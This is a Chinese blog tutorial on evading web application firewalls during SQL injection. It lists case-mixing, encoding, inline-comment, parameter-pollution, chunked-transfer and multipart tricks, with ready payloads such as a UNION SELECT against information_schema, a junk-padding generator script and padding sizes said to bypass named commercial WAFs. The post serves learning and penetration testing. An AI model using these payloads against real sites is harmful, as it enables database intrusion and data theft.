zoukankan      html  css  js  c++  java
  • SQL注入之waf绕过

    题记

            常见SQL注入的waf绕过方式总结,借鉴网上大佬与培训课程里面的方式。垃圾参数与注释绕过与分块传输都是我比较熟悉的。

    WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

    关键词大小写绕过

            有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

            举例: union select ---> unIOn SeLEcT

    编码绕过

            针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

            举例:union select 1,2,3# =union%0aselect 1u002c2,3%23

    双写绕过

            部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

            举例:UNIunionON ,SELselectECT anandd

    换行(N)绕过

            举例:select * from admin where username = N union select 1,user() from admin

    注释符内联注释绕过:

            /XXX/,#, -- -,--+, ;

            union selecte =/*!union*/ select

            注释符里感叹号后面的内容会被mysql执行。

    同义词替换

            and=&&

            or=||

            =(等于号)=<、>

            空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

            注:%0a是换行也可以替代空格

    HTTP参污染

            对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

            举例:?id=1&id=2&id=3

    垃圾参数

            WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少        个数据包。此时可以向HTTP POST添加填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。利用脚本生成器生成大量垃圾字符。

    #coding=utf-8
    
    import random,string
    
    from urllib import parse
    
    # code by yzddMr6
    
    varname_min = 5
    
    varname_max = 15
    
    data_min = 20
    
    data_max = 25
    
    num_min = 50
    
    num_max = 100
    
    def randstr(length):
    
    str_list = [random.choice(string.ascii_letters) for i in range(length)]
    
    random_str = ''.join(str_list)
    
    return random_str
    
     
    
    def main():
    
    data={}
    
    for i in range(num_min,num_max):
    
    data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
    
    print('&'+parse.urlencode(data)+'&')
    
    main()

            POST请求:

            举例:a=AAAAAA*[很多个A] &id=1 order by X[1-3]

            目前为止的bypass测试数据:
    
            云锁:30KB
    
            宝塔:30KB
    
            阿里云:200+键值对
    
            安全狗没测过,有空测一下

            建议先抓包手工试一下到底多少垃圾数据合适,没问题之后再上sqlmap。

    组合绕过

            以上所学习的知识点结合在一起,这样能大幅提高绕过WAF的可能性

            举例:id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database() --

    分块传输

            在burp中关闭自动补全,删掉Content-Length: 37,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。

            如果这样依旧被拦截可以在每分块后面加上;注释,尝试绕过。

    2;CESHI
    
    id
    
    2;CESHI
    
    =1
    
    5;CESHI
    
    order
    
    2;CESHI
    
    by
    
    1;CESHI
    
    4

    协议未覆盖

            将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行,可以直接使用Burp中的change body encoding来更改数据格式,进行绕过。

    总结

            WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述我所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性。

    参考链接

            精华 | SQL注入万能Bypass技巧:http://mp.weixin.qq.com/s/RSXc0ACv5DS-GsajdO8IRw

            WAF绕过思路+知识点:https://xffbk.cn/archives/97.html

  • 相关阅读:
    HashMap和Hashtable的区别
    装箱以及拆箱
    泛型
    LinkedList和ArrayList异同
    ArrayList的输出方式以及ArrayList的因子增长数
    limit的优化
    mysql五大数据引擎的分别
    ios
    css3(1)
    php
  • 原文地址:https://www.cnblogs.com/sunny11/p/14438269.html
Copyright © 2011-2022 走看看